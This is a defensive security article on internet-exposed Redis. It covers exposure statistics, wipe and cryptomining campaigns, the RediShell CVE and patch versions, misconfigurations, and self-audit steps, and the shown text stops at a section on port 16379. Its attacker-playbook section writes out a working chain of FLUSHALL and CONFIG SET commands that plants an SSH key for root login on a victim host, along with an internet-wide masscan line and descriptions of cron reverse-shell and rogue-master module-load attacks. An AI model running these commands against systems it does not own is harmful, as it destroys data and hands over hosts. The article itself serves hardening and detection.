A single command wipes your dataset — and that's the gentle outcome
An exposed Redis instance on port 6379 lets anyone who can reach it read your data, destroy it in milliseconds, or take over the host it runs on. That is a critical finding, not a misconfiguration to triage down the backlog.
The short version: if your Redis answers on the public internet without a wall in front of it, one unauthenticated FLUSHALL erases your entire keyspace, and the same open connection is one CONFIG SET (or one SLAVEOF + module load) away from running code on the host.
Redis is the worst case, but it is one of many. An open MongoDB, Elasticsearch, Memcached, CouchDB, or etcd port is just as exposed — the same no-auth read, wipe, and ransom, often the same path to host code execution. Treat this post as the Redis deep-dive within that wider story.
The scale is not theoretical. Censys's internet-wide scan found 39,405 unauthenticated Redis instances — about 11% of all internet-facing Redis — and roughly 49% of them already carried the fingerprint of a compromise attempt; Wiz's 2025 internet-wide sweep, published alongside the RediShell advisory, counted on the order of 330,000 exposed Redis instances with around 60,000 requiring no authentication. Severity comes from service identity, not the port number, so Redis on a non-standard port is exactly as critical as on 6379.
And RediShell (CVE-2025-49844, CVSS 10.0 per Redis's own advisory, patched October 3, 2025) turns any reachable, Lua-capable instance into host RCE for anyone who can issue a scripting command — which means "we set a password" is no longer a reason to leave Redis exposed. The fix is layered: bind to loopback or a private interface, authenticate with ACLs, firewall at both the host and cloud layers (including the 16379 cluster bus), neutralize the dangerous commands, patch, and verify from outside.
Start with the boring part, because the boring part is already catastrophic. If your Redis is reachable and unauthenticated, the entire attack is this:
redis-cli -h your.ip.addr -p 6379 PING
PONG
A PONG means the server answered, no credentials asked. From there, one command empties everything:
redis-cli -h your.ip.addr -p 6379 FLUSHALL
OK
FLUSHALL deletes every key in every database with a single unauthenticated command. No exploit. No CVE. No skill. No tooling beyond the client that ships with Redis itself. If that instance is your session store, your rate limiter, your job queue, or your cache-in-front-of-a-slow-database, you find out the hard way which of those your application can't survive losing. Sessions evaporate and everyone is logged out. The job queue is gone, so the emails and webhooks and billing runs in flight simply never happen. The cache is empty, so every request stampedes your primary database at once and the whole thing tips over. One unauthenticated command, and you're running an incident.
And that's the gentle outcome. The destructive path is the one an attacker takes when they can't be bothered to monetize you. The same open connection that accepts FLUSHALL also accepts CONFIG SET — which lets a remote client rewrite where Redis writes its data on disk. Point dir at /root/.ssh, set dbfilename to authorized_keys, store a key whose value is the attacker's SSH public key, then issue SAVE. Redis dutifully flushes its memory to that file, and now there's a root-trusted key on the box. We'll walk the full chain below; for now, hold the shape of it: an open Redis port is one well-known command sequence away from running code as the Redis user and pivoting into the host.
This is not an edge case or a gray area you have to argue about. Redis tells you so itself. The official security documentation is unusually blunt for vendor docs: Redis is designed to be accessed by trusted clients inside trusted environments, and "it is not a good idea to expose the Redis instance directly to the internet." Redis ships with no authentication enabled by default because it was never meant to be the thing facing the public network — it assumes a firewall, a private subnet, or loopback is doing that job. An internet-reachable Redis is a service operating outside the only threat model its designers ever signed up for. So when a scan flags 6379 open to the world, there is nothing to debate about whether it "counts." It counts.
Be precise about why this is critical — the word gets thrown around until it means nothing. Severity here comes from impact-on-compromise, not from how common or low-effort the mistake is. An open datastore is maximal on every axis at once: confidentiality (every record is readable on connect), integrity (anyone can write or delete, which is what enables ransom and tampering), availability (the data wipe is irrecoverable and the outage is immediate), and lateral movement (the host RCE turns one exposed service into a foothold in your network). The exploitability floor is as low as security gets — redis-cli PING is the whole reconnaissance phase, and the follow-up is fully automated and indiscriminate. That combination of total impact and zero exploitation cost is the textbook definition of a critical finding. It's the same logic that governs every service on your external perimeter, which is why an exposed Redis belongs in the same conversation as an exposed admin panel or an open database: it's a unit of external attack surface, and you judge it by what an attacker does with it, not by how mundane the underlying mistake feels.
Detection is half the battle, which is why continuous port monitoring that re-scans on every infrastructure change matters more than an annual audit — exposure like this is created by a routine deploy, a copied-from-Stack-Overflow config line, or a Docker port-publish that quietly bypasses your firewall. You don't get to find out about it on your own schedule. The attackers are already scanning on theirs.
How many exposed Redis instances on port 6379 are actually out there
Exposed Redis isn't a paper risk. It's one of the most reliably reproduced findings on the public internet, and the numbers have been counted, not estimated.
The cleanest snapshot comes from Censys, which indexes every routable IPv4 address continuously. In an internet-wide scan published in September 2022, they saw 350,675 Redis services across 260,534 unique hosts reachable from the open internet. Of those, 39,405 — about 11% — answered queries with no authentication at all. Not "weak password." Not "default password." No password: connect to 6379, send PING, get PONG, and you have full read/write/delete on someone's production cache. Censys put the directly readable data behind those open instances at over 300 GB. Three years on, the population had not shrunk: Wiz's 2025 sweep tied to the RediShell disclosure put the exposed count near 330,000 with roughly 60,000 requiring no authentication — same chronic problem, larger surface.
That 11% is the number worth sitting with. Redis has shipped protected-mode yes by default since 3.2, and the loopback bind has been the documented default for years. Every one of those 39,405 instances is the result of an operator overriding a safe default — flipping bind 0.0.0.0, setting protected-mode no to silence a connection error, or publishing a Docker port — and then not putting a password or a firewall in front of it. The default is safe. The population of exposed instances exists entirely because the default got undone.
The exposure is already being exploited, not just exposed
Exposure data alone could let you argue "sure, but is anyone actually looking?" Censys answered that too, and the answer is uncomfortable. They probed 31,239 of the unauthenticated hosts and found an attacker-planted key named backup1 sitting in 15,526 of them — roughly 49%. That key is the fingerprint of a known crontab-injection campaign: the attacker stuffs a malicious cron payload into a Redis key, then uses CONFIG SET dir and CONFIG SET dbfilename to make Redis flush that key's contents into /var/spool/cron on disk. Half of all open Redis instances on the internet already carry the artifact of someone attempting exactly that.
Here's the operator's point, and it's the one that should kill any "well, nothing bad happened to mine" complacency: many of those crontab writes fail — but they fail for the wrong reason. They fail because Redis happened not to be running as root, so it couldn't write into the cron spool. That is luck, not a control. The attacker still connected. The attacker still had full read access to everything in the keyspace. And the attacker could still issue a single FLUSHALL and erase the entire dataset in one command — no privilege, no root, no exploit required. "The cron payload didn't land" is not the same as "the instance is safe." The instance is wide open; the attacker just aimed at the one door that happened to be locked.
The geography reinforces that this is indiscriminate sweeping, not targeted hunting. China led the count with 130,839 Redis services, 20,011 of them unauthenticated (15.29%) and 146 GB exposed; the United States had 96,904 services, 5,108 unauthenticated (5.27%) and 40 GB exposed. Attackers aren't picking jurisdictions — they're scanning the whole address space and taking whatever answers.
Meow: proof that exposure leads to automatic destruction
If you want a single named incident that demolishes the "we're too small to be a target" defense, it's the Meow attack of July 2020. There was no targeting. There was no ransom note. There was no extortion negotiation, no demand, no contact at all — just a bot that found unsecured, internet-facing datastores and destroyed them, overwriting records and index names with the string meow and moving on.
The scale, per BleepingComputer's tracking of the campaign: it started in mid-July, was at more than 1,800 wiped databases by July 22, and reached nearly 4,000 destroyed datastores by July 25. The July 22 snapshot broke down as about 1,395 Elasticsearch, 383 MongoDB, and 54 Redis (roughly 1,832 total at that point), with Cassandra, CouchDB, Hadoop, Jenkins, and Apache ZooKeeper instances caught in the same net. Elasticsearch and MongoDB made up more than 97% of the kills simply because they're the most commonly exposed — but the principle was datastore-agnostic. If it was open and unauthenticated, the bot wiped it.
That's the population-level proof point. Meow demonstrates that an exposed datastore doesn't get the courtesy of an opportunistic attacker who might want your data badly enough to ransom it back. It gets a script that erases it for no reason and never tells you who or why. Redis was on that list. It's the same structural pattern that drives the SMB exposure problem on ports 445 and 139 — automated, internet-wide, indifferent to who you are.
Why a clean scan today tells you nothing about next week
The single most important thing to understand about these numbers is that the population churns constantly. The 39,405 figure isn't a fixed set of negligent operators who will eventually learn. It's a rolling balance — instances get secured or taken down, and brand-new ones get exposed every day by the most routine operations imaginable:
- A developer sets
bind 0.0.0.0so a teammate's machine can reach the dev cache, and the box turns out to have a public IP. - A cloud security group is opened to
0.0.0.0/0on6379"temporarily" to debug, and the rule never gets reverted. - A container ships with
docker run -p 6379:6379, which writes its owniptablesrules thatufwandfirewallddon't see — so the host operator believes it's firewalled while the container is wide open. - A staging instance spins up on a new public subnet that nobody added to the asset inventory.
None of those is a sophisticated mistake. They're the byproduct of normal deploys, and they're exactly the kind of unmanaged exposure that defines the shadow-IT problem — assets that go live faster than anyone's mental model of "what we have on the internet" can keep up. A point-in-time scan that comes back clean is a snapshot of one moment; the very next deploy can put you back in the 11%, and the gap between "exposed" and "exploited" is measured in commands, not weeks.
How attackers find your exposed Redis on port 6379 in minutes
There is a comforting story operators tell themselves about exposed services: "Sure, it's technically reachable, but who's going to find one Redis box among four billion IP addresses?" The honest answer is that nobody is going to find it, because nobody is looking for your box specifically. The internet has already been indexed. Attackers don't scan for targets the way you'd scan a parking lot for your car — they download a list.
Discovery and exploitation are decoupled: someone, somewhere, has already enumerated every Redis on the public internet and dumped it into a queryable database. Shodan and Censys run continuous scans across the entire IPv4 space, fingerprint the service banners they find, and keep the results searchable. From the attacker's chair, finding live unauthenticated Redis is one search box and one line:
port:6379 product:Redis
That dork returns a paginated list of live instances, complete with banner data, geolocation, and ASN. There's no scanning phase, no waiting, no skill involved — the work was done by the search engine days or hours ago and is refreshed on a rolling basis. If your asset shows up in that list with a Redis banner attached, the correct assumption is not "I might be at risk." It's "the contents have already been read." The 49% backup1-key rate from the previous section turns that from pessimism into arithmetic.
Search engines are fast but not instantaneous — there's a window between publishing a new box and the moment Shodan re-indexes it. Attackers who want that window closed run their own sweeps. masscan is the standard tool: an asynchronous, stateless scanner that sends SYN packets as fast as the network card will push them, so it can sweep large ranges for a single port far faster than a conventional scanner:
masscan 0.0.0.0/0 -p6379 --rate 100000 -oL redis-hits.txt
At --rate 100000 (100k packets/sec) a full routable-IPv4 sweep for one port takes on the order of ten-plus hours — fast, but not the "whole internet in minutes" figure you sometimes see quoted. That headline number (masscan's own README claims the entire internet in roughly six minutes) requires a rate around 10000000 packets/sec, a 10GbE NIC, and PF_RING — infrastructure a serious operator will happily provision. Either way the output is a flat list of IPs with an open port — not yet proof of an exploitable instance, just proof that something answered on 6379. The verification is almost insultingly simple. For Redis, settling whether the service will let you in takes a single round trip:
redis-cli -h TARGET_IP -p 6379 PING
If the instance requires authentication, the server answers with (error) NOAUTH Authentication required. and the conversation is over. If it doesn't, you get back PONG — and that PONG is the whole exploit precondition. From there, INFO dumps the version and memory stats, DBSIZE tells the attacker how much is there, and the destructive and code-execution paths are all one TCP connection away. There is no CVE in this chain, no exploit kit, no payload to craft. The "vulnerability" is that the door opens when you knock.
How fast is "in minutes," really? Stand up a fresh datastore on a public IP and the first unsolicited probe doesn't arrive in weeks or days — it arrives in hours, and frequently in single-digit minutes. Anyone who has run a honeypot on a cloud provider has watched it happen: the box finishes booting, the security group opens, and the connection log starts filling before you've finished writing the documentation. So when this guide says exposed Redis is a critical finding rated by impact and not by novelty, "find you in minutes" isn't a rhetorical flourish — it's the empirically observed time-to-first-touch on a public datastore. Exposure is discovery; the gap between the two has effectively closed.
One thing worth noting: every command above — the Shodan dork, the masscan sweep, the redis-cli ... PING — is something you can run against your own ranges to learn exactly what the attacker already knows. The defender's self-test and the attacker's discovery phase are the same steps. The only difference is whose IP ranges you point them at.
The attacker playbook: from FLUSHALL to root SSH
What an attacker actually types after redis-cli -h your.ip -p 6379 returns PONG is the part most defender-friendly write-ups skip and every pentest cheat sheet covers in detail. There is no exploit to download, no CVE to chain, no privilege escalation to puzzle out. An open, unauthenticated Redis gives a stranger an interactive admin shell to your datastore, and that shell has three escalating tiers of damage. Each tier on its own justifies a critical rating.
Tier 1: Data destruction with FLUSHALL
The lowest tier needs exactly one command. FLUSHALL empties every database in the instance; FLUSHDB empties the currently selected one. There is no confirmation prompt, no soft-delete, no undo. If you (like plenty of teams) quietly treat Redis as a primary store for queues, rate-limit counters, leaderboards, or feature flags, that data is simply gone unless you have a recent RDB or AOF backup you can actually restore. Most teams who get hit discover their "backups" were the persistence files Redis itself manages — the same files the attacker just overwrote.
This is a structural pattern, not a Redis quirk. Exposed unauthenticated datastores get wiped indiscriminately by scanners that never look at what's inside them. The canonical precedent is the January 2017 MongoDB mass-ransom wave: bots swept the internet for MongoDB on port 27017 with no access control — authentication is off by default until you create a user — connected, deleted the databases, and left a ransom note. The body count went from a couple hundred to past 27,000 wiped instances in roughly a week, with one researcher clocking 27,633 in about twelve hours (The Register, "MongoDB ransom attacks soar, body count hits 27,000"). The same default-no-auth flaw that let that happen on 27017 applies identically to an open Redis on 6379. The takeaway: an exposed datastore does not get attacked because someone wants your data. It gets attacked because it answered the phone.
Tier 2: Write-anywhere RCE via CONFIG SET dir
Tier 2 is where Redis stops being a data-loss problem and becomes a host-compromise problem. The mechanism is a feature, not a bug: Redis can rewrite its own persistence configuration at runtime. An attacker uses CONFIG SET dir to change the directory Redis saves to, CONFIG SET dbfilename to change the filename, then SAVE to flush the in-memory keyspace to disk at that arbitrary path. Because the keyspace contains whatever the attacker just SET, this is a primitive for writing attacker-controlled bytes to any path the Redis process can write to.
The cleanest weaponization is the SSH-key write. The attacker generates a keypair locally, pads the public key with leading and trailing newlines so it survives being embedded in Redis's save format, stores it as a value, points Redis at /root/.ssh, names the output file authorized_keys, saves, and then logs in over SSH as root with no password:
# on the attacker's box
ssh-keygen -t rsa -f ./pwn -N ""
(echo; echo; cat pwn.pub; echo; echo) > key.txt
# write it through the exposed Redis
redis-cli -h VICTIM -p 6379 flushall
cat key.txt | redis-cli -h VICTIM -p 6379 -x set crackit
redis-cli -h VICTIM -p 6379 config set dir /root/.ssh
redis-cli -h VICTIM -p 6379 config set dbfilename authorized_keys
redis-cli -h VICTIM -p 6379 save
# now just walk in
ssh -i ./pwn root@VICTIM
That is the whole chain — when it lands. No memory corruption, no shellcode, no race window — just a database honoring requests it was asked to honor. Like the cron variant, it has preconditions: it's reliable only when Redis runs as a user that can write /root/.ssh (or another user's ~/.ssh) and sshd actually accepts the key, which is why the Censys data shows many of these writes failing rather than landing. When /root/.ssh isn't writable or SSH is locked down, the same write-anywhere gadget has reliable fallbacks: drop a cron job into /var/spool/cron or a file under /etc/cron.d so the system runs a reverse-shell command on the next tick, or write a web shell into a known docroot like /var/www/html if the box also serves HTTP. This is the same fundamental move as an exposed secrets file — write a sensitive artifact to a path the server already trusts, then let the server execute it for you. If you've read why an exposed .env turns into full compromise (why exposed .env files leak secrets), the web-shell-in-the-docroot beat is the exact same family of bug arriving through a different door. And the cron variant is the backup1 technique Censys saw attempted on roughly half of all open Redis instances — the prior probability that an exposed instance has already been touched is close to a coin flip.
Tier 3: slaveof + malicious module load
Modern Redis hardening guides increasingly disable or rename CONFIG, which blunts Tier 2. The current technique routes around that entirely. Redis supports loadable modules — native .so shared libraries that extend the server — and it supports replication, where a replica pulls its dataset from a master. The attack combines them: the attacker stands up a rogue Redis master they control, points the victim at it with SLAVEOF attacker.ip 6379 (or REPLICAOF), and uses the replication stream to ship a malicious module file to the victim's disk. A single MODULE LOAD ./exp.so then executes attacker code inside the Redis process. This rogue-master-to-RCE technique was publicized by Pavel Toporkov at a 2018 ZeroNights talk and weaponized in the widely circulated redis-rce tool; it's the direct successor to the CONFIG SET dir trick, and it's why "we renamed CONFIG" is a speed bump, not a fix. The only durable answer is the same one it has always been: don't let untrusted clients reach 6379 in the first place.
The actual endgame: hands-off, at-scale cryptomining
It's tempting to read the three tiers as the work of a targeted adversary picking your infrastructure. It's almost never that. The real-world endgame of this chain is automated, indiscriminate cryptocurrency mining, run by bots that neither know nor care who you are. The playbook is fully scripted: scan IPv4 for open 6379, probe with PING, run the cron or SSH or module chain, drop an XMRig Monero miner, repeat. Trend Micro documented exactly this pattern in 2020 — exposed Redis used as the initial foothold for mass cryptomining campaigns, with a Kinsing-style loader pulling down XMRig-based miners. And the population those bots draw from is enormous: Security Affairs, summarizing the same Censys census, notes 39,405 unauthenticated Redis instances on the public internet, roughly half already carrying the fingerprint of an attempted compromise. You don't get attacked because you're interesting. You get attacked because a worker process somewhere found your IP in a scan result and ran a script that has worked thousands of times before. The barrier to entry for the attacker is a list and a loop.
Notice what every tier shares: none of them requires a vulnerability in the classic sense. There's no buggy parser, no overflow, no auth-bypass CVE. The "exploit" is that an admin interface to your data and your filesystem is answering connections from the entire internet. That's precisely why severity here is driven by impact, not by how mundane the root cause looks. A finding that hands a stranger root SSH or a wiped production keyspace with publicly documented one-liners is critical regardless of how unglamorous "you forgot to set a password" sounds in the postmortem.
RediShell (CVE-2025-49844): why "we set a password" is no longer enough
Everything above this point was true before October 2025 and would have been true if Redis had never shipped another CVE. An exposed, unauthenticated instance was already a critical finding. None of those attacks needs a vulnerability — they're the documented behavior of a datastore reachable by someone who shouldn't reach it.
The standard counterargument has always been: "Fine, but we set requirepass, so an attacker can't run any of those commands." That was a defensible position for the data-destruction and write-anywhere gadgets, which all require an authenticated session. It is no longer defensible for the question that actually matters, which is whether internet exposure of Redis is acceptable at all. The reason it collapsed has a name.
RediShell — tracked as CVE-2025-49844 — is a use-after-free bug in the Lua scripting interpreter embedded in Redis. Redis bundles Lua so that clients can run server-side scripts atomically via EVAL and EVALSHA. A specially crafted Lua script frees an object the interpreter keeps using, and from there an attacker corrupts memory, escapes the Lua sandbox, and executes arbitrary native code in the Redis process — on the host. The bug carries a CVSS score of 10.0 in Redis's own advisory; NVD and the upstream GitHub advisory score it 9.9. The likely source of the one-point gap is the Privileges Required metric — NVD/GitHub score it PR:L (an authenticated session), giving 9.9, while Redis's 10.0 is consistent with treating Redis's auth-off-by-default posture as PR:N. Either way it yields full remote code execution, with no precondition beyond an authenticated session — or an open instance — able to issue EVAL/EVALSHA.
What makes this one matter isn't the CVSS number — it's the age. The defect has been present in Redis's Lua implementation for roughly thirteen years. It was not introduced by a recent feature. It has been sitting under EVAL the entire time most Redis deployments in production today have existed. It was found by researchers at Wiz, demonstrated at Pwn2Own Berlin in May 2025, responsibly disclosed, and patched by Redis on October 3, 2025, alongside the official security advisory and the upstream GitHub advisory GHSA-4789-qfc9-5f9q. Because Lua scripting has shipped in essentially every Redis release that supports EVAL, the affected population is, for practical purposes, every version of Redis you are likely to be running until you apply the fix.
Fixed versions by branch
Redis backported the fix across all supported branches on the same day. Match your running version to its branch and upgrade to the corresponding fixed release or later. Read your version with redis-cli INFO server | grep redis_version.
| Branch | Fixed in |
|---|---|
| 6.x | 6.2.20 |
| 7.2.x | 7.2.11 |
| 7.4.x | 7.4.6 |
| 8.0.x | 8.0.4 |
| 8.2.x | 8.2.2 |
These are Redis OSS / Community Edition versions. Redis Software (Enterprise) ships its own separate fixed builds across the 6.4.x / 7.2.x / 7.4.x / 7.8.x / 7.22.x Software releases — match against the Redis advisory, not the OSS table above, if you run Enterprise.
If you run a managed Redis (ElastiCache, Memorystore, Azure Cache, Upstash, a Redis Cloud tier), check your provider's maintenance notes — patched engine versions are frequently opt-in or tied to a maintenance window, so "managed" does not automatically mean "patched." Confirm the engine version; don't assume it.
Be precise about who is affected — because the headlines weren't
Here is where most of the coverage got sloppy, and where precision actually changes what you do about it. A lot of write-ups framed RediShell as "exposed Redis is now even more dangerous," which quietly implies the danger lives in the lack of a password. It does not. Read the precondition exactly as the advisory states it: exploitation requires the ability to run a Lua scripting command — EVAL or EVALSHA — against the instance. That is the entire trigger.
Follow that to its conclusion and the picture inverts from the lazy framing:
- RediShell does not make password-less, internet-facing Redis meaningfully worse. That instance was already a critical finding — anyone reaching it could already
FLUSHALLyour data or write an SSH key and own the host. Adding "...and also they can now do it via a Lua memory-corruption bug" changes nothing about the verdict. It was a five-alarm fire before the CVE existed. - RediShell does make a specific, very common, previously-rationalized configuration dangerous: Redis that is password-protected and Lua-capable but still network-reachable from somewhere it shouldn't be. The team that set
requirepass, told themselves "auth is on, exposure is acceptable," and left the port reachable from a wide CIDR, a misconfigured cloud security group, or a Docker-p 6379:6379bypass — that team is exactly who this bug is for. An authenticated client who can issueEVALcan now go from "I have a Redis session" to "I have a shell on your host."
That is the whole argument, stated plainly: reachability is the risk surface, not the absence of a password. RediShell didn't introduce a new reason to fear exposed Redis; it removed the last excuse people used to tolerate it. "We set a password, so internet exposure is fine" was always shaky — it assumed the auth boundary was the only boundary that mattered. A 13-year-old use-after-free under EVAL is the proof that the assumption was never sound. The right mental model is the one we apply to every datastore: an instance reachable from an untrusted network is a critical finding regardless of whether it has a password.
Temporary mitigation if you can't patch right now
Patching is the real fix; nothing below replaces it. But if you have a maintenance window you can't bring forward, the upstream advisory points at the obvious interim control: remove the attacker's access to the scripting surface. No reachable scripting commands, no RediShell trigger. On Redis 6.0+, the portable way to do this is to strip the entire scripting command category from every user that can authenticate — the category form works on 6.0 and 6.2, where several individual command tokens (eval_ro, fcall, function) don't yet exist and would error out:
# Works on Redis 6.0+ — strips the whole scripting surface in one token
ACL SETUSER default -@scripting
CONFIG REWRITE
On Redis 7.0+, if you prefer to be explicit, the full command list also works (these _ro and function tokens only exist from 7.0 onward):
# Redis 7.0+ only — the _ro / fcall / function tokens do not exist on 6.x
ACL SETUSER default -eval -evalsha -eval_ro -evalsha_ro -fcall -fcall_ro -function -script
CONFIG REWRITE
On older builds without granular ACLs, fall back to renaming the commands out of existence (and persist it in redis.conf so it survives a restart):
rename-command EVAL ""
rename-command EVALSHA ""
rename-command SCRIPT ""
Two warnings. First, plenty of real workloads depend on EVAL — rate limiters, distributed locks (Redlock implementations script their release step), and anything using Lua for atomic read-modify-write will break the moment you disable it. Test in staging; this is a tourniquet, not a config you ship and forget. Second, and more important: disabling Lua is the small fix. Closing the network exposure is the actual fix. If your Redis only ever needed to be reached by your application tier, then it never needed to be reachable from the internet, RediShell or not.
RediShell is also a clean illustration of why one-time scanning isn't enough for this category: a 13-year-old bug went from "theoretical, undiscovered" to "patched, CVSS 10.0, public attention" on a single day, with no change on your end. That's the normal rhythm of n-day vulnerabilities, and it's why continuous vulnerability scanning — re-checking running versions against the CVE feed on a schedule rather than at audit time — is the only cadence that catches this class of finding before someone else does. A scanner that knew your Redis was on 8.0.1 and reachable should have paged you the morning the 8.0.4 advisory dropped.
Protected mode, bind, and the misconfigs that re-open exposure
Modern Redis ships with sane defaults. Install Redis 3.2 or later and start it without touching anything, and it binds to loopback (127.0.0.1 ::1) and runs with protected-mode yes. Out of the box, it is not reachable from the internet. So when a scanner flags your instance on 6379, the honest answer to "how did this happen?" is almost never "Redis is insecure by default." It's "someone, at some point, overrode the safe default." The interesting question is which override, and why.
What protected mode actually does (and what it doesn't)
Protected mode is a narrow safety net, not a firewall. Per the official Redis security documentation, protected mode rejects connections from non-loopback clients only under a specific condition. On pre-7.0 Redis, that condition is: protected-mode yes and no requirepass and no explicit bind directive. From Redis 7.0 onward, the logic was simplified — only two things govern it: protected-mode yes and the absence of a password. The bind directive no longer affects whether protected mode kicks in.
Read that carefully, because the implication is the trap. Protected mode is designed to catch one scenario: you accidentally exposed a passwordless Redis to the network. The moment you set requirepass, protected mode steps aside entirely — it assumes you know what you're doing and that the password is now your wall. That assumption is wrong in two ways. First, a password is a credential you can brute-force, leak in a config file, or commit to a Git repo. Second — and this is the 2025 escalation — a password does not protect you from RediShell, which turns even authenticated access into host RCE. So the mental model "I set a password, exposure is fine" is exactly the belief RediShell demolishes. requirepass + bind 0.0.0.0 is still an exposed attack surface: you've handed every scanner on the internet a login prompt and a remotely-exploitable interpreter to poke at. Protected mode is a backstop for a configuration you should never have shipped. It is not permission to put Redis on a public interface.
The misconfigs, ordered by how often they actually happen
1. protected-mode no or bind 0.0.0.0 to silence a connection error. This is the number-one cause, and it's depressingly mundane. A developer's app server on another host can't reach Redis, they get DENIED Redis is running in protected mode or a connection refused, they paste the error into a search engine, and the top Stack Overflow answer says set protected-mode no or bind 0.0.0.0. The connection error disappears. The developer moves on, never realizing they just told Redis to accept connections from the entire IPv4 space with no auth. The fix to the original problem was never "open it to the world" — it was "bind to the private interface the app server can reach" (bind 127.0.0.1 10.0.0.5) and, ideally, set a password. If you only audit your fleet for one thing, grep your redis.conf files for protected-mode no and any bind directive containing 0.0.0.0 or *. Those two strings are the fingerprint of nearly every self-inflicted Redis exposure.
2. Cloud security group / firewall open to 0.0.0.0/0 on 6379. This one is sneakier because Redis itself can be configured perfectly — bound to a private interface, password set — and you're still wide open. The host firewall and the cloud firewall are separate, independent layers, and both have to be right. An AWS security group, Azure NSG, or GCP firewall rule that allows ingress on 6379 from 0.0.0.0/0 bypasses your careful host-level binding the instant Redis is reachable on any interface the cloud network routes to. The correct rule scopes ingress to the application tier — reference the app servers' security group ID, or a specific private CIDR like 10.0.0.0/24, never the open internet.
3. Docker port publishing that bypasses your host firewall. If you run Redis in a container with -p 6379:6379, Docker inserts its own iptables rules in the DOCKER chain — rules that ufw and firewalld do not manage and, crucially, do not show you. You can have ufw status reporting a tidy default-deny posture and a container happily serving Redis to the internet at the same time, because Docker's NAT rules sit in front of the filter rules ufw thinks it controls. The fix is to bind the published port explicitly to loopback or a private interface: -p 127.0.0.1:6379:6379. The bare -p 6379:6379 form publishes on 0.0.0.0 by default — same trap as misconfig 1, one abstraction layer down where your firewall tooling can't see it.
4. "It's internal / behind the load balancer" assumptions. The least common but most insidious, because it's an architectural belief rather than a config line, and beliefs don't show up in a grep. Redis was deployed into a private subnet that genuinely wasn't routable from the internet — and then a routing change, a new public subnet, a NAT gateway added for a different service, or a forgotten staging box quietly broke the assumption. Nobody re-checked, because "it's internal" felt permanent. The forgotten staging box with a copy of production data on an open 6379 is a textbook example, and it's invisible to any audit that only looks at the assets you remember you have.
Misconfig to consequence, at a glance
| Misconfiguration | Where it lives | Consequence |
|---|---|---|
protected-mode no | redis.conf | Any internet client gets full unauthenticated read/write — FLUSHALL, CONFIG SET, RCE chains all available |
bind 0.0.0.0 (no password) | redis.conf | Listens on every interface; on pre-7.0 Redis an explicit bind also disables protected mode's non-loopback rejection, so nothing stands between the instance and the internet |
requirepass + bind 0.0.0.0 | redis.conf | Auth surface and RediShell (CVE-2025-49844) exposed to the internet; "we set a password" is not safety |
Cloud SG / NSG 0.0.0.0/0 on 6379 | Cloud firewall | Private bind bypassed at the network edge — Redis reachable regardless of host config |
Docker -p 6379:6379 | Docker iptables | Container exposed on 0.0.0.0; ufw/firewalld report "firewalled" while the port is open |
| "It's internal" assumption | Network topology | Silent exposure when a routing change, new subnet, or forgotten staging box breaks the premise |
The throughline across all six: none of them is Redis being insecure by default. Each is a human decision — usually a reasonable-sounding one made to fix an unrelated problem — that quietly removed a control. And it's why a one-time audit is worth so little: a clean config today can be re-opened by next Tuesday's deploy.
How to check whether your Redis (port 6379) is exposed
Everything up to this point was the attacker's view. Now point the exact same probes at your own ranges. If you can find an open Redis from outside your network in under a minute, so can the automated scanners that re-index the IPv4 space on a rolling basis — time-to-first-touch on a fresh public datastore is measured in minutes, not days. There is no separate, gentler set of tools for defenders. The defender test is the attacker test, run with permission and run on a schedule.
Test from outside the network, always
The single most common reason a team believes Redis is safe when it isn't: they checked from inside. They SSH'd to the box, ran redis-cli ping against 127.0.0.1, got PONG, and concluded everything was fine. That tells you Redis is running. It tells you nothing about whether it's reachable from the internet, which is the only question that matters. A service can be wide open on a public IP while looking perfectly locked-down from the loopback interface or from anywhere inside the office firewall.
So check from a vantage point the attacker actually has. Spin up a throwaway VM on a different cloud provider than the one hosting Redis — if your stack is on AWS, test from a separate DigitalOcean or Hetzner box. Different provider matters, because intra-provider traffic sometimes traverses paths that public internet traffic doesn't. No cloud account handy? Tether your laptop to a phone hotspot. The point is to get off your own network entirely. A clean result from your desk proves nothing; a clean result from an unaffiliated IP on a foreign network is the result you can trust. (For the broader discipline of enumerating which public IPs and forgotten staging boxes you even own, see the hidden risk of shadow IT.)
Step 1: Port-sweep your ranges with service fingerprinting (nmap -sV)
From your outside vantage point, sweep your own ranges for the two ports Redis uses, with version detection turned on:
nmap -sV -Pn -p 6379,16379 YOUR_IP_RANGE
Three flags, each earning its place. -Pn skips host discovery and scans every address whether or not it answers ping — many cloud hosts drop ICMP, and an attacker isn't going to politely skip a box just because it ignored a ping. -p 6379,16379 targets the data port and the cluster bus (more on 16379 below). And -sV is the one that actually matters for severity: it doesn't just report "port 6379 is open," it connects, reads the banner, and tells you the service is redis and which version.
Why does -sV matter so much? Because identity drives severity, not the port number. Plenty of operators relocate Redis to 6380, 7000, or some random high port under the mistaken belief that obscurity buys security — and a port-number-only scanner will cheerfully report 6379 closed and call it a day. Service fingerprinting connects to whatever's listening and identifies Redis regardless of which port it's hiding behind. A Redis instance on 31337 is exactly as critical as one on 6379, because the attacker's PING works identically against both. If you're scanning seriously, widen the port list — nmap -sV -Pn -p- YOUR_IP_RANGE sweeps all 65,535 ports and catches the relocated instance — but at minimum, never run a Redis check without -sV.
Step 2: Live-probe every hit for missing auth (redis-cli PING)
An open port is necessary but not sufficient — what you actually need to know is whether the instance demands a password. For each IP that came back with Redis listening, probe it directly:
redis-cli -h IP -p 6379 PING
The response is unambiguous. PONG means the instance accepted an unauthenticated command — it is wide open, full stop. (error) NOAUTH Authentication required means a password is set and the port-level exposure is at least gated by a credential. (error) DENIED Redis is running in protected mode... means protected mode is doing its job. Anything other than PONG from an external host is the result you want; PONG from outside your network is a critical finding you need to fix today.
A word of caution if you get PONG: confirm exposure with read-only commands like PING, INFO server, or DBSIZE, and stop there. Do not run KEYS *, FLUSHALL, or CONFIG SET against an instance you're merely auditing — even your own production box. KEYS * blocks the server on a large keyspace; the write commands are exactly the destructive primitives this whole guide warns about. Proving the door is unlocked does not require ransacking the house.
Step 3: Check what attackers can already see on Shodan and Censys
Scanning your own ranges tells you what's exposed right now. The pre-indexed search engines tell you what's been catalogued — and if your Redis banner is already sitting in someone's index, assume it's been read. Search your IPs and hostnames on Shodan and Censys with the same dork an attacker uses (port:6379 product:Redis), scoped to your assets (Shodan: net:203.0.113.0/24 port:6379). If your instance shows up — banner, version, sometimes the INFO output and a key sample — that is not a hypothetical risk. Indexed and unauthenticated is, in practice, the same as already-read. Treat any listed instance as a credential-rotation and data-integrity incident, not just a config to tidy up. This also catches the exposures your own scan can miss: an asset on a netblock you forgot you owned, a box a teammate spun up on a personal account, a staging instance behind a load balancer rule that broke on a routing change.
The port everyone forgets: 16379
